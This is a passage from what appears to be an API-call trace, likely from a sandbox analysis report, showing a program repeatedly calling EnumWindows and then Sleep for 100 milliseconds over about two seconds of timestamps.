(lpEnumFunc=0x423dd0, lParam=0x410000) [0242.886] Sleep (dwMilliseconds=0x64) [0242.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.890] Sleep (dwMilliseconds=0x64) [0242.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.892] Sleep (dwMilliseconds=0x64) [0242.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.894] Sleep (dwMilliseconds=0x64) [0242.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.896] Sleep (dwMilliseconds=0x64) [0242.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.898] Sleep (dwMilliseconds=0x64) [0242.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.901] Sleep (dwMilliseconds=0x64) [0242.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.902] Sleep (dwMilliseconds=0x64) [0242.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.905] Sleep (dwMilliseconds=0x64) [0242.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.906] Sleep (dwMilliseconds=0x64) [0242.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.908] Sleep (dwMilliseconds=0x64) [0242.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.910] Sleep (dwMilliseconds=0x64) [0242.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.912] Sleep (dwMilliseconds=0x64) [0242.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.914] Sleep (dwMilliseconds=0x64) [0242.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.915] Sleep (dwMilliseconds=0x64) [0242.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.917] Sleep (dwMilliseconds=0x64) [0242.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.920] Sleep (dwMilliseconds=0x64) [0242.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.921] Sleep (dwMilliseconds=0x64) [0242.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.924] Sleep (dwMilliseconds=0x64) [0242.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.926] Sleep (dwMilliseconds=0x64) [0242.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.927] Sleep (dwMilliseconds=0x64) [0242.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.929] Sleep (dwMilliseconds=0x64) [0242.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.931] Sleep (dwMilliseconds=0x64) [0242.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.933] Sleep (dwMilliseconds=0x64) [0242.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.935] Sleep (dwMilliseconds=0x64) [0242.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.936] Sleep (dwMilliseconds=0x64) [0242.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.938] Sleep (dwMilliseconds=0x64) [0242.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.940] Sleep (dwMilliseconds=0x64) [0242.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.942] Sleep (dwMilliseconds=0x64) [0242.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.944] Sleep (dwMilliseconds=0x64) [0242.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.945] Sleep (dwMilliseconds=0x64) [0242.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.947] Sleep (dwMilliseconds=0x64) [0242.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.949] Sleep (dwMilliseconds=0x64) [0242.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.951] Sleep (dwMilliseconds=0x64) [0242.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.953] Sleep (dwMilliseconds=0x64) [0242.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.955] Sleep (dwMilliseconds=0x64) [0242.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.959] Sleep (dwMilliseconds=0x64) [0242.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.961] Sleep (dwMilliseconds=0x64) [0242.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.963] Sleep (dwMilliseconds=0x64) [0242.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.964] Sleep (dwMilliseconds=0x64) [0242.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.966] Sleep (dwMilliseconds=0x64) [0242.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.968] Sleep (dwMilliseconds=0x64) [0242.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.969] Sleep (dwMilliseconds=0x64) [0242.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.972] Sleep (dwMilliseconds=0x64) [0242.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.973] Sleep (dwMilliseconds=0x64) [0242.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.975] Sleep (dwMilliseconds=0x64) [0242.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.976] Sleep (dwMilliseconds=0x64) [0242.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.978] Sleep (dwMilliseconds=0x64) [0242.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.992] Sleep (dwMilliseconds=0x64) [0242.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.995] Sleep (dwMilliseconds=0x64) [0242.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.997] Sleep (dwMilliseconds=0x64) [0242.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0242.999] Sleep (dwMilliseconds=0x64) [0243.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.000] Sleep (dwMilliseconds=0x64) [0243.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.002] Sleep (dwMilliseconds=0x64) [0243.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.005] Sleep (dwMilliseconds=0x64) [0243.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.006] Sleep (dwMilliseconds=0x64) [0243.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.008] Sleep (dwMilliseconds=0x64) [0243.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.010] Sleep (dwMilliseconds=0x64) [0243.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.013] Sleep (dwMilliseconds=0x64) [0243.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.015] Sleep (dwMilliseconds=0x64) [0243.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.017] Sleep (dwMilliseconds=0x64) [0243.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.018] Sleep (dwMilliseconds=0x64) [0243.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.022] Sleep (dwMilliseconds=0x64) [0243.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.024] Sleep (dwMilliseconds=0x64) [0243.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.026] Sleep (dwMilliseconds=0x64) [0243.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.028] Sleep (dwMilliseconds=0x64) [0243.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.035] Sleep (dwMilliseconds=0x64) [0243.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.037] Sleep (dwMilliseconds=0x64) [0243.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.039] Sleep (dwMilliseconds=0x64) [0243.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.041] Sleep (dwMilliseconds=0x64) [0243.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.042] Sleep (dwMilliseconds=0x64) [0243.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.044] Sleep (dwMilliseconds=0x64) [0243.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.055] Sleep (dwMilliseconds=0x64) [0243.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.057] Sleep (dwMilliseconds=0x64) [0243.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.059] Sleep (dwMilliseconds=0x64) [0243.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.061] Sleep (dwMilliseconds=0x64) [0243.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.063] Sleep (dwMilliseconds=0x64) [0243.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.065] Sleep (dwMilliseconds=0x64) [0243.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.067] Sleep (dwMilliseconds=0x64) [0243.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.070] Sleep (dwMilliseconds=0x64) [0243.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.072] Sleep (dwMilliseconds=0x64) [0243.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.073] Sleep (dwMilliseconds=0x64) [0243.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.075] Sleep (dwMilliseconds=0x64) [0243.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.078] Sleep (dwMilliseconds=0x64) [0243.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.080] Sleep (dwMilliseconds=0x64) [0243.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.082] Sleep (dwMilliseconds=0x64) [0243.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.084] Sleep (dwMilliseconds=0x64) [0243.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.086] Sleep (dwMilliseconds=0x64) [0243.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.089] Sleep (dwMilliseconds=0x64) [0243.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.091] Sleep (dwMilliseconds=0x64) [0243.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.092] Sleep (dwMilliseconds=0x64) [0243.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.094] Sleep (dwMilliseconds=0x64) [0243.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.096] Sleep (dwMilliseconds=0x64) [0243.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.099] Sleep (dwMilliseconds=0x64) [0243.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.101] Sleep (dwMilliseconds=0x64) [0243.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.103] Sleep (dwMilliseconds=0x64) [0243.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.105] Sleep (dwMilliseconds=0x64) [0243.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.111] Sleep (dwMilliseconds=0x64) [0243.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.113] Sleep (dwMilliseconds=0x64) [0243.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.115] Sleep (dwMilliseconds=0x64) [0243.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.116] Sleep (dwMilliseconds=0x64) [0243.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.118] Sleep (dwMilliseconds=0x64) [0243.121] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.121] Sleep (dwMilliseconds=0x64) [0243.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.124] Sleep (dwMilliseconds=0x64) [0243.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.126] Sleep (dwMilliseconds=0x64) [0243.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.128] Sleep (dwMilliseconds=0x64) [0243.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.129] Sleep (dwMilliseconds=0x64) [0243.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.131] Sleep (dwMilliseconds=0x64) [0243.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.133] Sleep (dwMilliseconds=0x64) [0243.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.135] Sleep (dwMilliseconds=0x64) [0243.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.138] Sleep (dwMilliseconds=0x64) [0243.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.141] Sleep (dwMilliseconds=0x64) [0243.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.142] Sleep (dwMilliseconds=0x64) [0243.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.144] Sleep (dwMilliseconds=0x64) [0243.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.145] Sleep (dwMilliseconds=0x64) [0243.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.149] Sleep (dwMilliseconds=0x64) [0243.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.151] Sleep (dwMilliseconds=0x64) [0243.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.153] Sleep (dwMilliseconds=0x64) [0243.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.155] Sleep (dwMilliseconds=0x64) [0243.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.157] Sleep (dwMilliseconds=0x64) [0243.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.160] Sleep (dwMilliseconds=0x64) [0243.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.162] Sleep (dwMilliseconds=0x64) [0243.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.164] Sleep (dwMilliseconds=0x64) [0243.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.167] Sleep (dwMilliseconds=0x64) [0243.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.168] Sleep (dwMilliseconds=0x64) [0243.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.170] Sleep (dwMilliseconds=0x64) [0243.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.171] Sleep (dwMilliseconds=0x64) [0243.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.174] Sleep (dwMilliseconds=0x64) [0243.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.175] Sleep (dwMilliseconds=0x64) [0243.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.177] Sleep (dwMilliseconds=0x64) [0243.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.180] Sleep (dwMilliseconds=0x64) [0243.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.182] Sleep (dwMilliseconds=0x64) [0243.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.184] Sleep (dwMilliseconds=0x64) [0243.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.186] Sleep (dwMilliseconds=0x64) [0243.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.193] Sleep (dwMilliseconds=0x64) [0243.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.194] Sleep (dwMilliseconds=0x64) [0243.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.196] Sleep (dwMilliseconds=0x64) [0243.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.197] Sleep (dwMilliseconds=0x64) [0243.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.199] Sleep (dwMilliseconds=0x64) [0243.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.201] Sleep (dwMilliseconds=0x64) [0243.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.295] Sleep (dwMilliseconds=0x64) [0243.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.374] Sleep (dwMilliseconds=0x64) [0243.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.375] Sleep (dwMilliseconds=0x64) [0243.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.377] Sleep (dwMilliseconds=0x64) [0243.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.379] Sleep (dwMilliseconds=0x64) [0243.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.381] Sleep (dwMilliseconds=0x64) [0243.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.383] Sleep (dwMilliseconds=0x64) [0243.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.385] Sleep (dwMilliseconds=0x64) [0243.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.387] Sleep (dwMilliseconds=0x64) [0243.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.388] Sleep (dwMilliseconds=0x64) [0243.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.390] Sleep (dwMilliseconds=0x64) [0243.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.391] Sleep (dwMilliseconds=0x64) [0243.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.393] Sleep (dwMilliseconds=0x64) [0243.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.395] Sleep (dwMilliseconds=0x64) [0243.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.396] Sleep (dwMilliseconds=0x64) [0243.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.398] Sleep (dwMilliseconds=0x64) [0243.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.399] Sleep (dwMilliseconds=0x64) [0243.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.401] Sleep (dwMilliseconds=0x64) [0243.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.403] Sleep (dwMilliseconds=0x64) [0243.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.531] Sleep (dwMilliseconds=0x64) [0243.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.533] Sleep (dwMilliseconds=0x64) [0243.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.535] Sleep (dwMilliseconds=0x64) [0243.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.537] Sleep (dwMilliseconds=0x64) [0243.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.538] Sleep (dwMilliseconds=0x64) [0243.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.552] Sleep (dwMilliseconds=0x64) [0243.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.567] Sleep (dwMilliseconds=0x64) [0243.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.692] Sleep (dwMilliseconds=0x64) [0243.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.709] Sleep (dwMilliseconds=0x64) [0243.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.711] Sleep (dwMilliseconds=0x64) [0243.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.713] Sleep (dwMilliseconds=0x64) [0243.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.723] Sleep (dwMilliseconds=0x64) [0243.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.811] Sleep (dwMilliseconds=0x64) [0243.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.849] Sleep (dwMilliseconds=0x64) [0243.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.851] Sleep (dwMilliseconds=0x64) [0243.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.852] Sleep (dwMilliseconds=0x64) [0243.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.853] Sleep (dwMilliseconds=0x64) [0243.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.855] Sleep (dwMilliseconds=0x64) [0243.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.856] Sleep (dwMilliseconds=0x64) [0243.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.858] Sleep (dwMilliseconds=0x64) [0243.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0243.859] Sleep (dwMilliseconds=0x64) [0244.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.346] Sleep (dwMilliseconds=0x64) [0244.462] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.462] Sleep (dwMilliseconds=0x64) [0244.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.472] Sleep (dwMilliseconds=0x64) [0244.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.483] Sleep (dwMilliseconds=0x64) [0244.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.485] Sleep (dwMilliseconds=0x64) [0244.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.487] Sleep (dwMilliseconds=0x64) [0244.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.489] Sleep (dwMilliseconds=0x64) [0244.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.491] Sleep (dwMilliseconds=0x64) [0244.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.604] Sleep (dwMilliseconds=0x64) [0244.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.606] Sleep (dwMilliseconds=0x64) [0244.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.610] Sleep (dwMilliseconds=0x64) [0244.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.612] Sleep (dwMilliseconds=0x64) [0244.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.615] Sleep (dwMilliseconds=0x64) [0244.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.620] Sleep (dwMilliseconds=0x64) [0244.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.623] Sleep (dwMilliseconds=0x64) [0244.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.626] Sleep (dwMilliseconds=0x64) [0244.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.630] Sleep (dwMilliseconds=0x64) [0244.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.633] Sleep (dwMilliseconds=0x64) [0244.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.635] Sleep (dwMilliseconds=0x64) [0244.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.638] Sleep (dwMilliseconds=0x64) [0244.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.640] Sleep (dwMilliseconds=0x64) [0244.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.642] Sleep (dwMilliseconds=0x64) [0244.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.644] Sleep (dwMilliseconds=0x64) [0244.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.646] Sleep (dwMilliseconds=0x64) [0244.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.648] Sleep (dwMilliseconds=0x64) [0244.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.650] Sleep (dwMilliseconds=0x64) [0244.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.652] Sleep (dwMilliseconds=0x64) [0244.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.654] Sleep (dwMilliseconds=0x64) [0244.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.656] Sleep (dwMilliseconds=0x64) [0244.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.659] Sleep (dwMilliseconds=0x64) [0244.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.661] Sleep (dwMilliseconds=0x64) [0244.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.663] Sleep (dwMilliseconds=0x64) [0244.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.664] Sleep (dwMilliseconds=0x64) [0244.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.667] Sleep (dwMilliseconds=0x64) [0244.669] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.669] Sleep (dwMilliseconds=0x64) [0244.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.671] Sleep (dwMilliseconds=0x64) [0244.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.673] Sleep (dwMilliseconds=0x64) [0244.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.676] Sleep (dwMilliseconds=0x64) [0244.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.678] Sleep (dwMilliseconds=0x64) [0244.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.682] Sleep (dwMilliseconds=0x64) [0244.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.683] Sleep (dwMilliseconds=0x64) [0244.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.685] Sleep (dwMilliseconds=0x64) [0244.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.687] Sleep (dwMilliseconds=0x64) [0244.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.689] Sleep (dwMilliseconds=0x64) [0244.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.691] Sleep (dwMilliseconds=0x64) [0244.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.694] Sleep (dwMilliseconds=0x64) [0244.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.696] Sleep (dwMilliseconds=0x64) [0244.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.698] Sleep (dwMilliseconds=0x64) [0244.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.701] Sleep (dwMilliseconds=0x64) [0244.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.703] Sleep (dwMilliseconds=0x64) [0244.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.704] Sleep (dwMilliseconds=0x64) [0244.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.710] Sleep (dwMilliseconds=0x64) [0244.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.720] Sleep (dwMilliseconds=0x64) [0244.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.741] Sleep (dwMilliseconds=0x64) [0244.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.745] Sleep (dwMilliseconds=0x64) [0244.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.747] Sleep (dwMilliseconds=0x64) [0244.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.749] Sleep (dwMilliseconds=0x64) [0244.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.752] Sleep (dwMilliseconds=0x64) [0244.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.753] Sleep (dwMilliseconds=0x64) [0244.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.755] Sleep (dwMilliseconds=0x64) [0244.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.759] Sleep (dwMilliseconds=0x64) [0244.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.761] Sleep (dwMilliseconds=0x64) [0244.763] 